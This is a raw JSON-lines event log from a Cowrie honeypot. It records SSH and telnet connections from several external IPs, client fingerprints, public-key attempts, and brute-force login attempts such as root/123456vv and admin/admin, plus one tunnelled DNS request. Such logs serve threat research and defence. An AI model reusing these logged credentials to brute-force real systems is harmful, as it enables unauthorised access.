{"eventid":"cowrie.session.closed","duration":36.084200620651245,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:41.208659Z","src_ip":"135.148.14.151","session":"3a879938d51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33782,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b39997e717a","protocol":"telnet","message":"New connection: 135.148.14.151:33782 (159.203.135.109:23) [session: 4b39997e717a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:46.798332Z"}
{"eventid":"cowrie.session.closed","duration":39.13528537750244,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:50.468099Z","src_ip":"135.148.14.151","session":"efb9ac9174d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.93585705757141,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:55.777938Z","src_ip":"135.148.14.151","session":"b442e8b67bc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.779388666152954,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:57.799921Z","src_ip":"135.148.14.151","session":"f93c68f41e04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35894,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfedc0d19c7c","protocol":"telnet","message":"New connection: 135.148.14.151:35894 (159.203.135.109:23) [session: bfedc0d19c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:58.453504Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40066,"dst_ip":"159.203.135.109","dst_port":23,"session":"485518dd53f4","protocol":"telnet","message":"New connection: 135.148.14.151:40066 (159.203.135.109:23) [session: 485518dd53f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:00.319201Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":59344,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcb5429443b2","protocol":"ssh","message":"New connection: 185.236.22.41:59344 (159.203.135.109:22) [session: dcb5429443b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:00.822333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:00.830440Z","src_ip":"185.236.22.41","session":"dcb5429443b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:00.940585Z","src_ip":"185.236.22.41","session":"dcb5429443b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.00064945220947,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:01.055595Z","src_ip":"135.148.14.151","session":"a6797d057686","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456vv","message":"login attempt [root/123456vv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:01.281665Z","src_ip":"185.236.22.41","session":"dcb5429443b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:02.391793Z","src_ip":"185.236.22.41","session":"dcb5429443b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.57677125930786,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:05.175853Z","src_ip":"135.148.14.151","session":"fbca6d42e0db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.220000982284546,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:06.033487Z","src_ip":"135.148.14.151","session":"e37faf0aaeca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46270,"dst_ip":"159.203.135.109","dst_port":23,"session":"7300e565234b","protocol":"telnet","message":"New connection: 135.148.14.151:46270 (159.203.135.109:23) [session: 7300e565234b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:14.682975Z"}
{"eventid":"cowrie.session.closed","duration":36.826319456100464,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:23.624521Z","src_ip":"135.148.14.151","session":"4b39997e717a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.436949729919434,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:32.890348Z","src_ip":"135.148.14.151","session":"bfedc0d19c7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.629337787628174,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:36.948413Z","src_ip":"135.148.14.151","session":"485518dd53f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55246,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e12811cad6e","protocol":"telnet","message":"New connection: 135.148.14.151:55246 (159.203.135.109:23) [session: 3e12811cad6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:38.393883Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43064,"dst_ip":"159.203.135.109","dst_port":23,"session":"520fc62e8d88","protocol":"telnet","message":"New connection: 135.148.14.151:43064 (159.203.135.109:23) [session: 520fc62e8d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:41.684876Z"}
{"eventid":"cowrie.session.closed","duration":0.004954338073730469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:41.689678Z","src_ip":"135.148.14.151","session":"520fc62e8d88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19966,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4517bf773f9","protocol":"ssh","message":"New connection: 87.251.64.176:19966 (10.17.0.5:22) [session: b4517bf773f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:43.562278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:43.568307Z","src_ip":"87.251.64.176","session":"b4517bf773f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:43.663790Z","src_ip":"87.251.64.176","session":"b4517bf773f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:43.950953Z","src_ip":"87.251.64.176","session":"b4517bf773f9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:44.049186Z","session":"b4517bf773f9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:44.145775Z","src_ip":"87.251.64.176","session":"b4517bf773f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:44.244658Z","src_ip":"87.251.64.176","session":"b4517bf773f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.16054964065552,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:49.843402Z","src_ip":"135.148.14.151","session":"7300e565234b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47034,"dst_ip":"159.203.135.109","dst_port":23,"session":"edc653b35a3f","protocol":"telnet","message":"New connection: 135.148.14.151:47034 (159.203.135.109:23) [session: edc653b35a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:50.390373Z"}
{"eventid":"cowrie.session.closed","duration":0.004862785339355469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:50.395121Z","src_ip":"135.148.14.151","session":"edc653b35a3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32860,"dst_ip":"159.203.135.109","dst_port":23,"session":"36b10e0879aa","protocol":"telnet","message":"New connection: 135.148.14.151:32860 (159.203.135.109:23) [session: 36b10e0879aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:51.968809Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45894,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcd0e6471807","protocol":"ssh","message":"New connection: 194.113.233.25:45894 (159.203.135.109:22) [session: fcd0e6471807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:54.857245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:54.862858Z","src_ip":"194.113.233.25","session":"fcd0e6471807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:54.956915Z","src_ip":"194.113.233.25","session":"fcd0e6471807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertq","message":"login attempt [root/qwertq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:55.241545Z","src_ip":"194.113.233.25","session":"fcd0e6471807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:56.340043Z","src_ip":"194.113.233.25","session":"fcd0e6471807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.145.26","src_port":53766,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed602bc4c9c8","protocol":"ssh","message":"New connection: 192.3.145.26:53766 (10.17.0.5:22) [session: ed602bc4c9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.335268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.340732Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.381748Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:fc:3f:24:97:9c:09:87:72:15:64:7e:35:d4:94:22","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFkYdZmoDQgaievU/3L6FzYr0BhGiVi1WCjMhNZI9ntD","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ca:fc:3f:24:97:9c:09:87:72:15:64:7e:35:d4:94:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.560996Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:fc:3f:24:97:9c:09:87:72:15:64:7e:35:d4:94:22","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFkYdZmoDQgaievU/3L6FzYr0BhGiVi1WCjMhNZI9ntD","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.569099Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:e9:22:80:be:31:74:5b:29:03:f7:84:f2:77:09:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6ioVJCYQi0qUPymJU2HZ8DNKiVfc6ZfKXrczyFcGEbTx8MIFTz3ZhkKpN7s37nxfIRV2qeMGCdSW5PoQNhsmqQdI15CE6mt0FP/ozF2M9dT0peLV16UtUqs1OqQZdRygPOUKzWrJtry03dq9zotMuXvYVlxBwkdAMVbTvUSCqtxByK0P7z0QlSs6V79fLKJ4grkaFtjqolmPxwPHsI5l62LvIeCzJldvCj9uthEp2AJwh1BgIZs1HWd1a++UGJ8N6eEURdcu4mgs+8D9LiBR4cEXBZF71bwN1pdz91yF/iEU1GRh74pX6phGoX6ug+Of+1UjgVQjLK8jEQDpdS06pQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:e9:22:80:be:31:74:5b:29:03:f7:84:f2:77:09:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.611907Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:e9:22:80:be:31:74:5b:29:03:f7:84:f2:77:09:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6ioVJCYQi0qUPymJU2HZ8DNKiVfc6ZfKXrczyFcGEbTx8MIFTz3ZhkKpN7s37nxfIRV2qeMGCdSW5PoQNhsmqQdI15CE6mt0FP/ozF2M9dT0peLV16UtUqs1OqQZdRygPOUKzWrJtry03dq9zotMuXvYVlxBwkdAMVbTvUSCqtxByK0P7z0QlSs6V79fLKJ4grkaFtjqolmPxwPHsI5l62LvIeCzJldvCj9uthEp2AJwh1BgIZs1HWd1a++UGJ8N6eEURdcu4mgs+8D9LiBR4cEXBZF71bwN1pdz91yF/iEU1GRh74pX6phGoX6ug+Of+1UjgVQjLK8jEQDpdS06pQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.618311Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:a7:99:f0:a0:7d:98:b3:7a:3a:89:a9:9b:d3:57:7a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5MwqYC6ZI73ClC+2Fqo1IhkhqbXIphV3a804aL0BJL","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b8:a7:99:f0:a0:7d:98:b3:7a:3a:89:a9:9b:d3:57:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.660976Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:a7:99:f0:a0:7d:98:b3:7a:3a:89:a9:9b:d3:57:7a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5MwqYC6ZI73ClC+2Fqo1IhkhqbXIphV3a804aL0BJL","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.665591Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:27:d6:31:81:e6:32:24:54:6d:cb:e6:74:d2:d0:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpa3xOoB7c8IH7O3R4npPrf1iviDbNQsl2p1TAshPpj6UQQulK9SH9rU7kv8cxXrTuUJsh2VNntTlxWAHxnOTWhHHPWdAN6kZ/1/zT+KIvTJjN+RUpYgjVuLWI/rXOGbb0Qf/T6rXusGdu/BKQEph1Er+vQ6U1j6C5wYp5LIXVF4xkE7VgXiWlBJeZTVvRR7/JcGH6ZkkWZsG25g6AO2i/tuz4bZuhPSbmQCRPPjRt4M9nptHuQpFNSR2QNqpSyAAHM70mwJdv6lXzeX6MhaRr8/KzBblMl/0T1OpHi3MzPWguBoP4uGI6gTbHyLTsInwqP6zKmP4hHmlsP/b1YFRN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:27:d6:31:81:e6:32:24:54:6d:cb:e6:74:d2:d0:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.709567Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
